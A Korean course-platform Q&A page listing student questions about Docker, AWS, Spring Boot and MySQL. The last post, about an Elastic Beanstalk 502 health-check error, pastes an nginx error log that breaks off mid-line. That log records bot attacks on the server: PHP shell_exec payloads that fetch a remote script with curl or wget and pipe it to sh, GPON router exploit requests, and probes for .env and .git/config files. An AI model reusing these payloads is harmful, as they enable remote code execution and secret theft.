묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결비전공자를 위한 풀스택 맛집지도 만들기 프로젝트!: Front, Back-end 그리고 배포까지
강의자료/완성사이트 접속 모두 안되네요. 서비스 안하시는건가요?
강의자료/완성사이트 접속 모두 안되네요. 서비스 안하시는건가요?
-
미해결따라하며 배우는 도커와 CI환경 [2023.11 업데이트]
aws 502 에러
안녕하세요 강사님좋은 수업 감사드립니다.강의에 나온대로 코드 작성하고 travis에서도 테스트/빌드 성공했는데 aws에서 502 bad gateway 에러가 발생합니다.Dockerfile 에 EXPOSE 80 도 추가했는데 무엇이 원인인지 잘 모르겠습니다.한번 봐주시고 답변 주시면 정말 감사드리겠습니다. ㅜㅜ
-
미해결따라하며 배우는 도커와 CI환경 [2023.11 업데이트]
nginx에 대해서
좋은 강의 잘 보고 있습니다. 감사합니다.nginx에 대한 감이 잘 안잡혀서 그러는데,개발환경에서는 서버로 http 요청이 오면 개발서버가 그에따른 정적파일을 제공하고,운영환경에서 서버로 http 요청이오면 nginx가 그에따른 정적파일을 제공한다라고 이해하면 될까요 ?그리고 위에서 말하는 개발환경은 개발이 로컬 머신에서만 이루어지는 걸 의미하는게 맞을까요 ?
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
mysql 비밀번호 초기화 후 재설정
안녕하세요! 지난번 질문에 답 주셔서 감사합니다.다름이 아니라 제 pc에 mysql이 설치되어 있어서 강의대로 mysql로 사용하려고 합니다.그런데 비밀번호가 생각 나지 않아서, 인터넷에 나와있는 방법으로 하려고 했는데, 비밀번호 초기화 까지는 했는데 그다음으로 넘어가질 않아서요..ㅠㅠ암호를 설정하려면 cmd창에 mysql -r root -p 를 입력한 후 password가 나왔을 때 엔터만 쳐도 mysql로 접속이 된다고 하면서, 거기서 비밀번호를 설정하면 된다고 합니다.하지만 저는여기 나온 에러만 계속 나와서...비밀번호 설정을 못하고 있습니다.제발 방법 좀 알려주세요ㅠㅠ
-
미해결CloudNet@와 함께하는 AWS 네트워킹 입문
학습 자료 압축 풀기
학습 자료 다운로드 받아서, 압축 해제가 안됩니다. M1 Mac pro이고 다른 인프런 강의 자료 받아서 압축해제 잘 되는 것 확인했습니다...!
-
미해결따라하며 배우는 도커와 CI환경 [2023.11 업데이트]
강의 pdf, 구글 드라이브에 대해 질문있습니다!
안녕하세요강사님의 도커강의 잘 듣고 있습니다.다름이 아니라 제가 현재 도커 강의를 복습하고 있는데, pdf파일이나 구글drive에서 강의 자료 파일을 확인해보면, 반정도 짤려있거나, 깨져있었습니다.혹시 window pdf나 구글 드라이브에 있는 파일 다시 올려주실 수 있으실까요?
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
인텔리제이 mysql 콘솔창 질문
11강에서 부터 진행하시는 것을 보면 인테릴제이에서 mysql 콘솔창을 사용하시는 것으로 보입니다. 구글링 해보니까 커뮤니티 에디션에서는 사용이 불가한 것 같아서 위의 사진과 같이 비슷한 plug-in 사용해서 현재 작업중인데 강사님처럼 sql문 실행했을 때 결과값을 볼 수가 없습니다 ㅠㅠㅠ 해결 할 수 있는 방법이 없을까요??
-
해결됨CloudNet@와 함께하는 AWS 네트워킹 입문
[실습] 통신 검증 - 퍼블릭에서 프라이빗서버로 ssh 접근
안녕하세요. 먼저 좋은 강의 올려 주셔서 감사합니다 :)퍼블릭 서버에서 프라이빗 서버로 ssh 접근하는데 Amazon Linux 2023 관련하여 궁금한 사항이 생겨 문의드립니다. OS 설정만 다르게 하여 네 가지 테스트를 하였습니다.퍼블릭서버 프라이빗 서버 ssh 가능 여부-----------------------------------------------------------Amazon Linux 2 -> Amazon Linux 2 (O)Amazon Linux 2 -> Amazon Linux 2023 (X)Amazon Linux 2023 -> Amazon Linux 2 (O)Amazon Linux 2023 -> Amazon Linux 2023 (X) 위 테스트처럼 퍼블릭서버는 OS에 관계없었으나, 프라이빗서버는 OS가 Amazon Linux 2023일 경우에는 ssh 접근이 안되었습니다.어떻게 해야 접근이 가능한지 궁금합니다!감사합니다.
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
cannot resolve symbol 오류
cannot resolve symbol 라는 오류가 여러개 뜨는데 어떻하면 좋을까요ㅠㅠ한참 구글링 해도 못찾겠어요ㅠㅠ
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
블로그에 작성하기
안녕하세요. 친절하신 답변 감사히 확인했습니다^^다름이 아니라 혹시 블로그에 간단하게 선생님께서 하시는 수업 내용을 제가 따라하는 것을 캡쳐나 정리하여 올려도 괜찮을까요? :)
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
제공한 기출만 보고 시험봐도 괜찮을까요?
선생님이 제공해주신, 기출만 보고덤프에서 나오는 c03 문제는 안 보고 시험 보러 가도 될까요?
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
[문의][SAP-C02 취득]추가 필요 학습 내용
강사님 덕분에 오늘 SAA 취득했습니다.. 감사합니다..^.^바로 SAP 취득 준비할려고 하는데, 강사님 강의 내용 대비 추가로 각 서비스별 어떤 내용을 더 심화 학습해야 하는지 혹시 가이드해 주실 수 있는지 문의 드립니다..그리고, SAA & ANS 외에 추가 강의 검토 중에 하셨는데, 혹시 구체화 된 사항 있으면 같이 답변 부탁 드립니다..
-
미해결지금 당장 데브옵스 AWS
Health Check 시간
안녕하세요.잘 강의 보고 있습니다.다름이 아니라, 서비스를 빌드하고 배포하는 과정에서, 시간이 조금 오래 걸리는데, 배포하기 전에 Health check가 실행이되어, Running중에 계속 Stopped가 됩니다. 이 문제를 어떻게 해결해야할까요..?
-
미해결자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
인텔리제이와 mysql 대신 사용 가능한가요?
안녕하세요! 이번에 큰맘 먹고 수강 신청한 초보 개발자 입니다.인텔리제이 대신 이클립스를 사용해도 괜찮을까요?꼭 mysql로 사용해야 하는 건지, 그렇다면 강의에서 설명해 주시는 내용과 차이가 많이 생기는 건가요?위의 궁금한 사항에 답 부탁드립니다 :)
-
미해결
배포에 대한 질문이 있습니다. 급합니다 ㅠㅠ
현재 프론트하고 백엔드하고 배포를 따로 하려고 하는데이 배포를 언제까지 유지해야 하는지가 궁금합니다.포폴에 배포 링크를 담아주고 취업할 때 까지 유지해야 하는지 아니면 배포하고 시연 이미지 첨부한 설명을 포폴에 담고 배포를 종료해도 되는지 어떻게 해야하는지 궁금합니다. 알려주시면 감사하겠습니다 ㅠㅠ (__) 꾸벅
-
미해결AWS Certified Solutions Architect - Associate 자격증 준비하기
실전문제풀이 02_7번 문제 정답 재확인
안녕하세요. 실전문제풀이 02_7번문제가 다음 ExamTopics 문제와 동일합니다..-. https://www.examtopics.com/discussions/amazon/view/94990-exam-aws-certified-solutions-architect-associate-saa-c03/그런데, ExamTopics에서 다음과 같이 D과 최다투표로 정답 표시되어 있습니다..강사님, 정답 재확인 부탁 드립니다. 미리 감사드립니다...D. 프런트엔드 계층과 애플리케이션 계층에 로드 밸런싱된 다중 AZ AWS Elastic Beanstalk 환경을 사용합니다. 데이터베이스를 Amazon RDS 다중 AZ DB 인스턴스로 이동합니다. Amazon S3를 사용하여 사용자 이미지를 저장하고 제공합니다. 최다 투표
-
해결됨자바와 스프링 부트로 생애 최초 서버 만들기, 누구나 쉽게 개발부터 배포까지! [서버 개발 올인원 패키지]
User class의 id 값 질문입니다
안녕하세요 강사님. 강의를 듣다 질문이 생겨 글 남깁니다.평소에 습관적으로 spring boot로 개발을 할 때에, User class에@Idprivate Long id;위와 같은 코드를 붙이곤 하는데요, 강사님 강의에선 response dto에만 id값이 들어가 있어서 질문 드립니다! 도메인 클래스에는 없어도 상관 없는 것일까요?항상 좋은 강의 감사드립니다!
-
미해결
elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)
안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 